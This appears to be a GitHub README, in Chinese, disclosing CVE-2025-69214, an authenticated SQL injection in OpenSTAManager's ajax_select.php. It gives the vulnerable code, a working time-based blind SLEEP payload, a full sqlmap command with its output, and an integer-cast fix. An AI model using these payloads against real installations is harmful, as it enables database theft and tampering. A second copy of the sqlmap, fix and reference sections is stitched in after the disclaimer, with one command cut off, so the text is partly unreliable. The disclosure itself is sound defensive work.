lukasz-rybak/CVE-2025-69214
GitHub: lukasz-rybak/CVE-2025-69214
针对 OpenSTAManager SQL 注入漏洞的复现与验证工具。
Stars: 0 | Forks: 0
# CVE-2025-69214:OpenSTAManager 的 ajax_select.php(componenti 端点)存在 SQL 注入
## 概述
| 字段 | 详情 |
|---|---|
| **CVE ID** | [CVE-2025-69214](https://nvd.nist.gov/vuln/detail/CVE-2025-69214) |
| **严重性** | 高危 |
| **安全公告** | [查看公告](https://github.com/devcode-it/openstamanager/security/advisories/GHSA-qjv8-63xq-gq8m) |
| **发现者** | [Lukasz Rybak](https://github.com/lukasz-rybak) |
## 受影响产品
- **devcode-it/openstamanager**(版本:<= 2.9.8)
## CWE 分类
- CWE-89:在 SQL 命令中未正确净化特殊元素(SQL 注入)
## 详情
### 摘要
在处理 `componenti` 操作时,`ajax_select.php` 端点存在 SQL 注入漏洞。认证攻击者可通过 `options[matricola]` 参数注入恶意 SQL 代码。
### 概念验证
#### 漏洞代码
**文件:** `modules/impianti/ajax/select.php:122-124`
```
case 'componenti':
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}
```
#### 数据流
1. **来源:** `$_GET['options']['matricola']` → `$superselect['matricola']`
2. **脆弱点:** 用户输入直接拼接到 `IN()` 子句中,未进行净化
3. **汇点:** 通过 AJAX 框架执行的查询
#### 利用方式
**手动 PoC(基于时间盲注):**
```
GET /ajax_select.php?op=componenti&options[matricola]=1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a) AND (1 HTTP/1.1
Host: localhost:8081
Cookie: PHPSESSID=
```
**SQLMap 利用:**
```
sqlmap -u 'http://localhost:8081/ajax_select.php?op=componenti&options[matricola]=1*' \
--cookie="PHPSESSID=" \
--dbms=MySQL \
--technique=T \
--level=3 \
--risk=3
```
**SQLMap 输出:**
```
[INFO] URI parameter '#1*' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable
Parameter: #1* (URI)
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: options[matricola]=1) AND (SELECT 7438 FROM (SELECT(SLEEP(5)))grko)-- SvRI
back-end DBMS: MySQL >= 5.0.12
```
## 影响
- **数据泄露:** 基于时间盲注的 SQL 注入可完全提取数据库
- **认证绕过:** 可访问敏感组件与设备数据
- **数据篡改:** 可能未经授权修改记录
## 修复建议
在使用前将值强制转换为整数:
**修改前:**
```
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}
```
**修改后:**
```
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$ids = array_map('intval', explode(',', $impianti));
$where[] = '`my_componenti`.`id_impianto` IN ('.implode(',', $ids).')';
}
```
## 致谢
发现者:Łukasz Rybak
## 参考链接
- https://github.com/devcode-it/openstamanager/security/advisories/GHSA-qjv8-63xq-gq8m
- https://nvd.nist.gov/vuln/detail/CVE-2025-69214
- https://github.com/advisories/GHSA-qjv8-63xq-gq8m
## 免责声明
本 CVE 遵循协调漏洞披露流程进行负责任披露。此处提供的信息仅用于教育与防御目的。
**SQLMap 利用:**
```
sqlmap -u 'http://localhost:8081/ajax_select.php?op=componenti&options[matricola]=1*' \
--cookie="PHPSESSID=
## 影响
- **数据泄露:** 基于时间盲注的 SQL 注入可完全提取数据库
- **认证绕过:** 可访问敏感组件与设备数据
- **数据篡改:** 可能未经授权修改记录
## 修复建议
在使用前将值强制转换为整数:
**修改前:**
```
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$where[] = '`my_componenti`.`id_impianto` IN ('.$impianti.')';
}
```
**修改后:**
```
$impianti = $superselect['matricola'];
if (!empty($impianti)) {
$ids = array_map('intval', explode(',', $impianti));
$where[] = '`my_componenti`.`id_impianto` IN ('.implode(',', $ids).')';
}
```
## 致谢
发现者:Łukasz Rybak
## 参考链接
- https://github.com/devcode-it/openstamanager/security/advisories/GHSA-qjv8-63xq-gq8m
- https://nvd.nist.gov/vuln/detail/CVE-2025-69214
- https://github.com/advisories/GHSA-qjv8-63xq-gq8m
## 免责声明
本 CVE 遵循协调漏洞披露流程进行负责任披露。此处提供的信息仅用于教育与防御目的。标签:ajax_select.php, componenti endpoint, CVE-2025-69214, CWE-89, HTTP参数注入, IN子句注入, MySQL注入, OpenSTAManager, SQLMap, 前端安全, 时间盲注, 认证绕过, 输入验证缺失, 高危漏洞